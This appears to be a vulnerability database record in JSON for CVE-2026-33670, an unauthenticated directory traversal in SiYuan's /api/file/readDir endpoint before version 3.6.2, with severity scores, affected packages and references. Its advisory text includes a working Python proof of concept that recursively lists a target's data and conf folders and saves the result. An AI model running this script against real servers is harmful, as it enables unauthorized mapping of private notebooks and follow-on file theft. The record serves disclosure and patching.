{"id":"CVE-2026-33670","aliases":["CVE-2026-33670","GHSA-xmw9-6r43-x9ww","GO-2026-4843"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan has directory traversal within its publishing service","summary":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. Version 3.6.2 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. Version 3.6.2 patches the issue.","source":"cvelist"},{"lang":"en","text":"### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir 未鉴权目录遍历\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n    base = target.rstrip(\"/\")\n    url = f\"{base}/api/file/readDir\"\n\n    def read_dir(path, depth=0, max_depth=4):\n        try:\n            r = requests.post(url, json={\"path\":path},\n                            headers={\"Content-Type\":\"application/json\"}, timeout=10)\n            data = r.json()\n        except Exception as e:\n            return\n        if data.get(\"code\") != 0:\n            return\n\n        entries = data.get(\"data\") or []\n        for entry in entries:\n            name = entry.get(\"name\",\"\")\n            if name.startswith(\".\"):\n                continue\n            icon = \"📁\" if entry.get(\"isDir\") else \"📄\"\n            indent = \"  \" * depth\n            print(f\"  {indent}{icon} {name}\")\n\n            if entry.get(\"isDir\") and depth < max_depth:\n                read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n    # 遍历根目录\n    print(\"[+] 漏洞存在！开始遍历\\n\")\n    print(\"  📂 data/\")\n    read_dir(\"data\", max_depth=2)\n\n    print(\"\\n  📂 conf/\")\n    read_dir(\"conf\", max_depth=2)\n\n    # 保存\n    try:\n        r = requests.post(url, json={\"path\":\"data\"},\n                        headers={\"Content-Type\":\"application/json\"}, timeout=10)\n        with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n            json.dump(r.json(), f, ensure_ascii=False, indent=2)\n        print(f\"\\n[+] 根目录数据已保存: readdir.json\")\n    except: pass\n\nif __name__ == \"__main__\":\n    poc(sys.argv[1] if len(sys.argv)>1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n资源文件夹\n\n<img width=\"943\" height=\"794\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\" />\n\n插件文件夹\n\n<img width=\"826\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\" />\n\nconf文件夹\n\n<img width=\"730\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\" />","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan has directory traversal within its publishing service in github.com/siyuan-note/siyuan/kernel","format":"markdown","source":"go"},{"lang":"es","text":"SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.2, la interfaz /API/file/readDir se utilizaba para recorrer y recuperar los nombres de archivo de todos los documentos bajo un cuaderno. La versión 3.6.2 corrige el problema.","source":"nvd"}],"published":"2026-03-25T19:38:01.000Z","modified":"2026-06-17T10:37:53.900Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 3.6.2","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"0.0.0-20260317012524-fe4523fff2c8"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"},{"ranges":[{"status":"affected","fixed":"3.6.2"}],"vendor":"b3log","product":"siyuan","cpe":"cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33670","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-03-30T11:43:02.345Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33670","url":"https://www.cve.org/CVERecord?id=CVE-2026-33670","licence":"CVE Terms of Use","modified":"2026-03-30T11:43:18.022Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xmw9-6r43-x9ww","url":"https://github.com/advisories/GHSA-xmw9-6r43-x9ww","licence":"CC-BY-4.0","modified":"2026-03-27T21:32:46.454Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4843","url":"https://pkg.go.dev/vuln/GO-2026-4843","licence":"CC-BY-4.0","modified":"2026-03-26T21:04:07.311Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33670","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33670","licence":"Public domain","modified":"2026-06-17T10:37:53.900Z"}],"updatedAt":"2026-11-25T22:59:17.336Z","epss":{"score":0.02701,"percentile":0.8634,"date":"2026-12-01T12:00:22.000Z"}}